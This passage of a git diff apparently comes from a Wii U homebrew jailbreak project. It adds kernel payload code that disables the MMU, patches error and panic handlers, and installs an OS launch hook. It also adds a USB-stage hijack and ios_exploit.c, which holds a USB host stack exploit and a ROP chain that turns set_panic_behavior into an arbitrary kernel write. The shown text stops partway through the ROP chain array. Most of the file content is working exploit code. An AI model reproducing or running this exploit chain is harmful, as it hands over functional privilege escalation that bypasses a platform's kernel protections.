0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +/* from smealum's iosuhax: must be placed at 0x05059938 */ +static const char os_launch_hook[] = { + 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, + 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, + 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, + 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, + 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, + 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, + 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, + 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, +}; + +static const char sd_path[] = "/vol/sdcard"; + +int _main() +{ + void(*invalidate_icache)() = (void(*)())0x0812DCF0; + void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; + void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; + + flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache + + int level = disable_interrupts(); + + unsigned int control_register = disable_mmu(); + + /* Save the request handle so we can reply later */ + *(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18; + + /* Patch kernel_error_handler to BX LR immediately */ + *(volatile u32*)0x08129A24 = 0xE12FFF1E; + + void * pset_fault_behavior = (void*)0x081298BC; + kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); + + void * pset_panic_behavior = (void*)0x081296E4; + kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); + + void * pusb_root_thread = (void*)0x10100174; + kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); + + payload_info_t *payloads = (payload_info_t*)0x00148000; + kernel_memcpy((void*)USB_PHYS_CODE_BASE, payloads->data, payloads->size); + + int i; + for (i = 0; i < 32; i++) + if (i < 11) + ((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i]; + else + ((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0; + + *(int*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook + + *(int*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 + *(int*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + *(int*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0 + + *(int*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000; + *(int*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000; + *(int*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000; + *(int*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000; + + for (i = 0; i < sizeof(os_launch_hook); i++) + ((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i]; + + *(int*)(0x1555500) = 0; + + *(volatile u32*)(0x1555500) = 0; + + /* REENABLE MMU */ + restore_mmu(control_register); + + invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache + invalidate_icache(); + + enable_interrupts(level); + + return 0; +} diff --git a/ios_kernel/source/types.h b/ios_kernel/source/types.h new file mode 100644 index 0000000..5d8eced --- /dev/null +++ b/ios_kernel/source/types.h @@ -0,0 +1,16 @@ +#ifndef _TYPES_H +#define _TYPES_H + +#include + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; + +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; + +#endif diff --git a/ios_kernel/source/utils.c b/ios_kernel/source/utils.c new file mode 100644 index 0000000..8ce65ae --- /dev/null +++ b/ios_kernel/source/utils.c @@ -0,0 +1,92 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ + +// this memcpy is optimized for speed and to work with MEM1 32 bit access alignment requirement +void reverse_memcpy(void* dst, const void* src, unsigned int size) +{ + const unsigned char *src_p; + unsigned char *dst_p; + + if((size >= 4) && !((dst - src) & 3)) + { + const unsigned int *src_p32; + unsigned int *dst_p32; + unsigned int endDst = ((unsigned int)dst) + size; + unsigned int endRest = endDst & 3; + + if(endRest) + { + src_p = ((const unsigned char*)(src + size)) - 1; + dst_p = ((unsigned char*)endDst) - 1; + size -= endRest; + + while(endRest--) + *dst_p-- = *src_p--; + } + + src_p32 = ((const unsigned int*)(src + size)) - 1; + dst_p32 = ((unsigned int*)(dst + size)) - 1; + + unsigned int size32 = size >> 5; + if(size32) + { + size &= 0x1F; + + while(size32--) + { + src_p32 -= 8; + dst_p32 -= 8; + + dst_p32[8] = src_p32[8]; + dst_p32[7] = src_p32[7]; + dst_p32[6] = src_p32[6]; + dst_p32[5] = src_p32[5]; + dst_p32[4] = src_p32[4]; + dst_p32[3] = src_p32[3]; + dst_p32[2] = src_p32[2]; + dst_p32[1] = src_p32[1]; + } + } + + unsigned int size4 = size >> 2; + if(size4) + { + size &= 3; + + while(size4--) + *dst_p32-- = *src_p32--; + } + + dst_p = ((unsigned char*)dst_p32) + 3; + src_p = ((const unsigned char*)src_p32) + 3; + } + else + { + dst_p = ((unsigned char*)dst) + size - 1; + src_p = ((const unsigned char*)src) + size - 1; + } + + while(size--) + *dst_p-- = *src_p--; +} diff --git a/ios_kernel/source/utils.h b/ios_kernel/source/utils.h new file mode 100644 index 0000000..24dfaf9 --- /dev/null +++ b/ios_kernel/source/utils.h @@ -0,0 +1,56 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _UTILS_H +#define _UTILS_H + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) +#define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) +#define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) +#define disable_interrupts ((int(*)())0x0812E778) +#define enable_interrupts ((int(*)(int))0x0812E78C) +#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) + +void reverse_memcpy(void* dest, const void* src, unsigned int size); + +static inline unsigned int disable_mmu(void) +{ + unsigned int control_register = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA)); + return control_register; +} + +static inline void restore_mmu(unsigned int control_register) +{ + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register)); +} + +static inline void set_domain_register(unsigned int domain_register) +{ + asm volatile("MCR p15, 0, %0, c3, c0, 0" : : "r" (domain_register)); +} + +#endif diff --git a/ios_usb/.gitignore b/ios_usb/.gitignore new file mode 100644 index 0000000..8036206 --- /dev/null +++ b/ios_usb/.gitignore @@ -0,0 +1,2 @@ +ios_usb.c +ios_usb.h \ No newline at end of file diff --git a/ios_usb/Makefile b/ios_usb/Makefile new file mode 100644 index 0000000..af55582 --- /dev/null +++ b/ios_usb/Makefile @@ -0,0 +1,87 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# path to tools +#--------------------------------------------------------------------------------- +DEVKITPATH=$(shell echo "$(DEVKITPRO)" | sed -e 's/^\([a-zA-Z]\):/\/\1/') +export PATH := $(DEVKITPATH)/tools/bin:$(DEVKITPATH)/devkitPPC/bin:$(PATH) + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @raw2c $< + @cp $(PROJECTNAME).c $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_usb/link.ld b/ios_usb/link.ld new file mode 100644 index 0000000..d313e5b --- /dev/null +++ b/ios_usb/link.ld @@ -0,0 +1,17 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text 0x101312D0 : { + _text_start = .; + build/crt0.o(.init) + *(.text*); + *(.rodata*); + } + _text_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_usb/source/crt0.s b/ios_usb/source/crt0.s new file mode 100644 index 0000000..83d7bb6 --- /dev/null +++ b/ios_usb/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +_start: + b _main diff --git a/ios_usb/source/main.c b/ios_usb/source/main.c new file mode 100644 index 0000000..25da595 --- /dev/null +++ b/ios_usb/source/main.c @@ -0,0 +1,26 @@ +void _main() +{ + + void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; + + int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; + + int saved_handle = *(volatile int*)0x0012F000; + int myret = reply(saved_handle, 0); + if (myret != 0) + ios_shutdown(1); + + // stack pointer will be 0x1016AE30 + // link register will be 0x1012EACC + asm("LDR SP, newsp\n" + "LDR R0, newr0\n" + "LDR LR, newlr\n" + "LDR PC, newpc\n" + "newsp: .word 0x1016AE30\n" + "newlr: .word 0x1012EACC\n" + "newr0: .word 0x10146080\n" + "newpc: .word 0x10111164\n"); + + + +} diff --git a/src/dynamic.c b/src/dynamic.c new file mode 100644 index 0000000..901352e --- /dev/null +++ b/src/dynamic.c @@ -0,0 +1,44 @@ +#include +#include + +#define IMPORT(name) void* addr_##name +#define IMPORT_BEGIN(lib) +#define IMPORT_END() + +#include "imports.h" + +#undef IMPORT +#undef IMPORT_BEGIN +#undef IMPORT_END + +#define IMPORT(name) do{if(OSDynLoad_FindExport(handle, 0, #name, &addr_##name) < 0)OSFatal("Function " # name " is NULL");} while(0) +#define IMPORT_BEGIN(lib) OSDynLoad_Acquire(#lib ".rpl", &handle) +/* #define IMPORT_END() OSDynLoad_Release(handle) */ +#define IMPORT_END() + +#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); + +EXPORT_VAR(uint32_t *, MEMAllocFromDefaultHeap); +EXPORT_VAR(uint32_t *, MEMAllocFromDefaultHeapEx); +EXPORT_VAR(uint32_t *, MEMFreeToDefaultHeap); + +void InitFunctionPointers(void) { + OSDynLoad_Module handle; + addr_OSDynLoad_Acquire = (void *) 0x0102A3B4; + addr_OSDynLoad_FindExport = (void *) 0x0102B828; + + OSDynLoad_Acquire("coreinit.rpl", &handle); + + uint32_t **value = 0; + OSDynLoad_FindExport(handle, 1, "MEMAllocFromDefaultHeap", (void **) &value); + MEMAllocFromDefaultHeap = *value; + OSDynLoad_FindExport(handle, 1, "MEMAllocFromDefaultHeapEx", (void **) &value); + MEMAllocFromDefaultHeapEx = *value; + OSDynLoad_FindExport(handle, 1, "MEMFreeToDefaultHeap", (void **) &value); + MEMFreeToDefaultHeap = *value; + +#include "imports.h" + + // override failed __rplwrap_exit find export + OSDynLoad_FindExport(handle, 0, "exit", (void **) &addr___rplwrap_exit); +} diff --git a/src/dynamic.h b/src/dynamic.h new file mode 100644 index 0000000..be625d1 --- /dev/null +++ b/src/dynamic.h @@ -0,0 +1,11 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +void InitFunctionPointers(void); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/src/import_stub.S b/src/import_stub.S new file mode 100644 index 0000000..7bf8dc7 --- /dev/null +++ b/src/import_stub.S @@ -0,0 +1,24 @@ +/*#define IMPORT(name) \ + .global name; \ + name: \ + lis %r11, addr_##name@h; \ + lwz %r11, addr_##name@l(%r11); \ + mtctr %r11; \ + bctr*/ + +#define IMPORT(name) \ + .global name; \ + name: \ + lis %r11, addr_##name@h; \ + ori %r11, %r11, addr_##name@l; \ + lwz %r11, 0(%r11); \ + mtctr %r11; \ + bctr + +#define IMPORT_BEGIN(lib) +#define IMPORT_END() + +.align 2; +.section ".text"; + +#include "imports.h" \ No newline at end of file diff --git a/src/imports.h b/src/imports.h new file mode 100644 index 0000000..6c5ddd4 --- /dev/null +++ b/src/imports.h @@ -0,0 +1,296 @@ +/* coreinit */ +IMPORT_BEGIN(coreinit); + +IMPORT(OSScreenInit); +IMPORT(OSScreenGetBufferSizeEx); +IMPORT(OSScreenSetBufferEx); +IMPORT(OSScreenEnableEx); +IMPORT(OSScreenFlipBuffersEx); +IMPORT(OSScreenClearBufferEx); +IMPORT(OSScreenPutFontEx); +IMPORT(OSFatal); +IMPORT(OSDynLoad_Acquire); +IMPORT(OSDynLoad_FindExport); +IMPORT(OSDynLoad_Release); +IMPORT(OSSetExceptionCallback); +IMPORT(OSSavesDone_ReadyToRelease); +IMPORT(OSInitMutex); +IMPORT(OSLockMutex); +IMPORT(OSUnlockMutex); +IMPORT(OSInitCond); +IMPORT(OSWaitCond); +IMPORT(OSSignalCond); +IMPORT(OSInitSpinLock); +IMPORT(OSUninterruptibleSpinLock_Acquire); +IMPORT(OSUninterruptibleSpinLock_Release); +IMPORT(OSFastMutex_Init); +IMPORT(OSFastMutex_Lock); +IMPORT(OSFastMutex_Unlock); +IMPORT(OSSleepTicks); +IMPORT(OSGetTitleID); +IMPORT(OSIsThreadTerminated); +IMPORT(OSSetThreadPriority); +IMPORT(OSCreateThread); +IMPORT(OSSetThreadCleanupCallback); +IMPORT(OSResumeThread); +IMPORT(OSIsThreadSuspended); +IMPORT(OSSuspendThread); +IMPORT(OSGetCurrentThread); +IMPORT(OSExitThread); +IMPORT(OSJoinThread); +IMPORT(OSYieldThread); +IMPORT(OSGetCoreId); +IMPORT(OSIsMainCore); +IMPORT(OSGetSystemTime); +IMPORT(OSGetSystemTick); +IMPORT(OSGetTime); +IMPORT(OSGetSymbolName); +IMPORT(OSGetSharedData); +IMPORT(OSEffectiveToPhysical); +IMPORT(OSInitSemaphore); +IMPORT(OSInitSemaphoreEx); +IMPORT(OSGetSemaphoreCount); +IMPORT(OSSignalSemaphore); +IMPORT(OSWaitSemaphore); +IMPORT(OSTryWaitSemaphore); +IMPORT(OSCompareAndSwapAtomicEx); +IMPORT(OSCompareAndSwapAtomic); +IMPORT(OSGetThreadSpecific); +IMPORT(OSSetThreadSpecific); +IMPORT(OSForceFullRelaunch); + +IMPORT(exit); +IMPORT(_Exit); +IMPORT(__os_snprintf); +IMPORT(DisassemblePPCRange); + +IMPORT(ICInvalidateRange); +IMPORT(DCInvalidateRange); +IMPORT(DCFlushRange); +IMPORT(DCStoreRange); +IMPORT(DCStoreRangeNoSync); + +IMPORT(__gh_errno_ptr); + +IMPORT(MEMGetBaseHeapHandle); +IMPORT(MEMCreateExpHeapEx); +IMPORT(MEMDestroyExpHeap); +IMPORT(MEMAllocFromExpHeapEx); +IMPORT(MEMFreeToExpHeap); +IMPORT(MEMGetSizeForMBlockExpHeap); +IMPORT(MEMAllocFromFrmHeapEx); +IMPORT(MEMFreeToFrmHeap); +IMPORT(MEMGetAllocatableSizeForFrmHeapEx); + +IMPORT(FSInit); +IMPORT(FSShutdown); +IMPORT(FSAddClient); +IMPORT(FSAddClientEx); +IMPORT(FSDelClient); +IMPORT(FSInitCmdBlock); +IMPORT(FSChangeDir); +IMPORT(FSGetFreeSpaceSize); +IMPORT(FSGetStat); +IMPORT(FSRemove); +IMPORT(FSOpenFile); +IMPORT(FSCloseFile); +IMPORT(FSOpenDir); +IMPORT(FSMakeDir); +IMPORT(FSReadDir); +IMPORT(FSRewindDir); +IMPORT(FSCloseDir); +IMPORT(FSGetStatFile); +IMPORT(FSReadFile); +IMPORT(FSWriteFile); +IMPORT(FSSetPosFile); +IMPORT(FSFlushFile); +IMPORT(FSTruncateFile); +IMPORT(FSRename); +IMPORT(FSGetMountSource); +IMPORT(FSMount); +IMPORT(FSUnmount); +IMPORT(FSChangeMode); +IMPORT(FSGetPosFile); +IMPORT(OSTicksToCalendarTime); +IMPORT(__rplwrap_exit); + +IMPORT(IOS_Open); +IMPORT(IOS_Close); +IMPORT(IOS_Ioctl); +IMPORT(IOS_IoctlAsync); + +IMPORT(IMIsAPDEnabled); +IMPORT(IMIsDimEnabled); +IMPORT(IMEnableAPD); +IMPORT(IMEnableDim); +IMPORT(IMDisableAPD); +IMPORT(IMDisableDim); + +IMPORT(OSGetSystemInfo); + +IMPORT_END(); + +/* nsysnet */ +IMPORT_BEGIN(nsysnet); + +IMPORT(socket_lib_init); +IMPORT(getaddrinfo); +IMPORT(freeaddrinfo); +IMPORT(getnameinfo); +IMPORT(inet_ntoa); +IMPORT(inet_ntop); +IMPORT(inet_aton); +IMPORT(inet_pton); +IMPORT(ntohl); +IMPORT(ntohs); +IMPORT(htonl); +IMPORT(htons); +IMPORT(accept); +IMPORT(bind); +IMPORT(socketclose); +IMPORT(connect); +IMPORT(getpeername); +IMPORT(getsockname); +IMPORT(getsockopt); +IMPORT(listen); +IMPORT(recv); +IMPORT(recvfrom); +IMPORT(send); +IMPORT(sendto); +IMPORT(setsockopt); +IMPORT(shutdown); +IMPORT(socket); +IMPORT(select); +IMPORT(socketlasterr); +IMPORT(socket_lib_finish); + +IMPORT_END(); + +/* gx2 */ +IMPORT_BEGIN(gx2); + +IMPORT(GX2Invalidate); +IMPORT(GX2Init); +IMPORT(GX2GetSystemTVScanMode); +IMPORT(GX2CalcTVSize); +IMPORT(GX2SetTVBuffer); +IMPORT(GX2CalcDRCSize); +IMPORT(GX2SetDRCBuffer); +IMPORT(GX2CalcSurfaceSizeAndAlignment); +IMPORT(GX2InitColorBufferRegs); +IMPORT(GX2SetupContextStateEx); +IMPORT(GX2SetContextState); +IMPORT(GX2SetColorBuffer); +IMPORT(GX2SetViewport); +IMPORT(GX2SetScissor); +IMPORT(GX2SetDepthOnlyControl); +IMPORT(GX2SetColorControl); +IMPORT(GX2SetBlendControl); +IMPORT(GX2SetBlendConstantColor); +IMPORT(GX2SetCullOnlyControl); +IMPORT(GX2CalcFetchShaderSizeEx); +IMPORT(GX2InitFetchShaderEx); +IMPORT(GX2SetFetchShader); +IMPORT(GX2SetVertexShader); +IMPORT(GX2SetPixelShader); +IMPORT(GX2SetGeometryShader); +IMPORT(GX2SetGeometryUniformBlock); +IMPORT(GX2SetVertexUniformBlock); +IMPORT(GX2SetPixelUniformBlock); +IMPORT(GX2CalcGeometryShaderInputRingBufferSize); +IMPORT(GX2CalcGeometryShaderOutputRingBufferSize); +IMPORT(GX2SetGeometryShaderInputRingBuffer); +IMPORT(GX2SetGeometryShaderOutputRingBuffer); +IMPORT(GX2SetShaderModeEx); +IMPORT(GX2SetAttribBuffer); +IMPORT(GX2InitTextureRegs); +IMPORT(GX2InitSampler); +IMPORT(GX2SetPixelTexture); +IMPORT(GX2SetPixelSampler); +IMPORT(GX2ClearColor); +IMPORT(GX2CopyColorBufferToScanBuffer); +IMPORT(GX2SwapScanBuffers); +IMPORT(GX2Flush); +IMPORT(GX2WaitForVsync); +IMPORT(GX2SetTVEnable); +IMPORT(GX2SetDRCEnable); +IMPORT(GX2SetSwapInterval); +IMPORT(GX2DrawDone); +IMPORT(GX2Shutdown); +IMPORT(GX2DrawEx); +IMPORT(GX2WaitForFlip); +IMPORT(GX2GetSwapStatus); + +IMPORT_END(); + +/* nn_ac */ +IMPORT_BEGIN(nn_ac); +IMPORT(ACInitialize); +IMPORT(ACFinalize); +IMPORT(ACConnect); +IMPORT(ACClose); +IMPORT(ACGetAssignedAddress); +IMPORT(ACGetAssignedSubnet); +IMPORT(Initialize__Q2_2nn3actFv); +IMPORT(GetSlotNo__Q2_2nn3actFv); +IMPORT(GetDefaultAccount__Q2_2nn3actFv); +IMPORT(Finalize__Q2_2nn3actFv); +IMPORT_END(); + +/* proc_ui */ +IMPORT_BEGIN(proc_ui); + +IMPORT(ProcUIInit); +IMPORT(ProcUIShutdown); +IMPORT(ProcUIDrawDoneRelease); +IMPORT(ProcUIProcessMessages); + +IMPORT_END(); + +/* sndcore2 */ +IMPORT_BEGIN(sndcore2); + +IMPORT(AXInitWithParams); +IMPORT(AXQuit); +IMPORT(AXRegisterFrameCallback); +IMPORT(AXAcquireMultiVoice); +IMPORT(AXSetMultiVoiceDeviceMix); +IMPORT(AXSetMultiVoiceOffsets); +IMPORT(AXSetMultiVoiceCurrentOffset); +IMPORT(AXSetMultiVoiceState); +IMPORT(AXSetMultiVoiceVe); +IMPORT(AXSetMultiVoiceSrcType); +IMPORT(AXSetMultiVoiceSrcRatio); +IMPORT(AXIsMultiVoiceRunning); +IMPORT(AXFreeMultiVoice); + +IMPORT_END(); + +/* sysapp */ +IMPORT_BEGIN(sysapp); + +IMPORT(SYSRelaunchTitle); +IMPORT(_SYSGetSystemApplicationTitleId); +IMPORT(SYSLaunchMenu); +IMPORT(_SYSLaunchMenuWithCheckingAccount); + +IMPORT_END(); + +/* vpad */ +IMPORT_BEGIN(vpad); + +IMPORT(VPADRead); +IMPORT(VPADInit); +IMPORT(VPADGetTPCalibratedPoint); + +IMPORT_END(); + + +/* nsyskbd */ +IMPORT_BEGIN(zlib125); + +IMPORT(inflateInit_); +IMPORT(inflate); +IMPORT(inflateEnd); + +IMPORT_END(); diff --git a/src/ios_exploit.c b/src/ios_exploit.c new file mode 100644 index 0000000..875e62a --- /dev/null +++ b/src/ios_exploit.c @@ -0,0 +1,380 @@ +#include +#include +#include "ios_exploit.h" +#include "main.h" + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08135000 +#define REPLACE_SYSCALL 0x081298BC + +static void uhs_exploit_init(int uhs_handle); +static int uhs_write32(int uhs_handle, int arm_addr, int val); + +//!------Variables used in exploit------ +static int *pretend_root_hub = (int*)0xF5003ABC; +static int *ayylmao = (int*)0xF4500000; +//!------------------------------------- + +typedef struct __attribute__((packed)) { + uint32_t size; + uint8_t data[0]; +} payload_info_t; + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "../ios_kernel/ios_kernel.bin.h" +#include "../ios_usb/ios_usb.bin.h" + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 